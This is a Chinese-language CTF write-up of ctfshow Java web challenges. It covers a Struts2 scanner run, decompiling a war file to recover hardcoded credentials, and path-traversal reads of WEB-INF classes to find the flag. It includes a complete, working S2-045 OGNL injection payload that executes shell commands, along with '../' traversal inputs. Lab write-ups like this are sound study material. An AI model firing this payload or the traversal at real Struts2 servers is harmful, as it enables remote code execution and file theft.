// 脚本 扫出来046 但是045可以一把梭
python ./Struts2Scan.py -u http://88d42534-e473-47c0-8ec1-a72c9eb548e9.challenge.ctf.show/S2-053/ -n S2-045 --exec

// up
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

// 这里长度限制 读不完整个env 不如脚本 或者抓包可以试试

web 298 -反编译

? 怎么有个 war 包

war 包

压缩包

都可以用解压软件打开,jar 包和 war 包都是为了项目的部署和发布,通常在打包部署的时候,会在里面加上部署的相关信息。这个打包实际上就是把代码和依赖的东西压缩在一起,变成后缀名为.jar 和.war 的文件,就是我们说的 jar 包和 war 包。
但是这个“压缩包”可以被编译器直接使用,把 war 包放在 tomcat 目录的 webapp 下,tomcat 服务器在启动的时候可以直接使用这个 war 包。通常 tomcat 的做法是解压,编译里面的代码,所以当文件很多的时候,tomcat 的启动会很慢。

区别

jar 包是 java 打的包,war 包可以理解为 javaweb 打的包,这样会比较好记。jar 包中只是用 java 来写的项目打包来的,里面只有编译后的 class 和一些部署文件。而 war 包里面的东西就全了,包括写的代码编译成的 class 文件,依赖的包,配置文件,所有的网站页面,包括 html,jsp 等等。
一个 war 包可以理解为是一个 web 项目,里面是项目的所有东西。

反编译

JD 反编译一下 , 在文件中找到:

1
2
3
4
5
public boolean getVipStatus() {  
if (this.username.equals("admin") && this.password.equals("ctfshow"))
return true;
return false;
}
1
./?username=admin&password=ctfshow

web 299

文件读取

  1. 注释 /view-source?file=index.php
  2. 因为是 JAVA 网址
  3. .../view-source?file=index.jsp
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <%
    @ page language="java"
    import="java.util.*"
    pageEncoding="ISO-8859-1"
    %>
    <%
    String path = request.getContextPath();
    String basePath =
    request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
    %>
  4. ?file=WEB-INF/classes/com/ctfshow/servlet/GetFlag.class
    1
    This is the description of my J2EE component This is the display name of my J2EE component ViewSourceServlet com.ctfshow.servlet.ViewSourceServlet This is the description of my J2EE component This is the display name of my J2EE component GetFlag com.ctfshow.servlet.GetFlag ViewSourceServlet /view-source GetFlag /getFlag index.jsp
  5. ?file=WEB-INF/classes/com/ctfshow/servlet/GetFlag.class
    1
    ctfshowCEDjava/lang/StringFGequals(Ljava/lang/Object;)ZI/fl3g
  6. ?file=../../../../../fl3g

web 300

莫名其妙
.../view-source?file=index.jsp
.../view-source?file=WEB-INF/classes/com/ctfshow/servlet/GetFlag.class ZI/f1bg …/view-source?file=../../../../../f1bg

结束

到这里 JAVA 的 struts2 漏洞就基本复现了一遍, 毕竟第一次做 JAVA, java 的反序列化链子还不会纯手工搓 以及原理上还不明确, 争取 9 月之前能明白 ,这段时间还得把 Yii TP 跟 Laravel 跟一遍看看
下一步就开始做 SSRF 了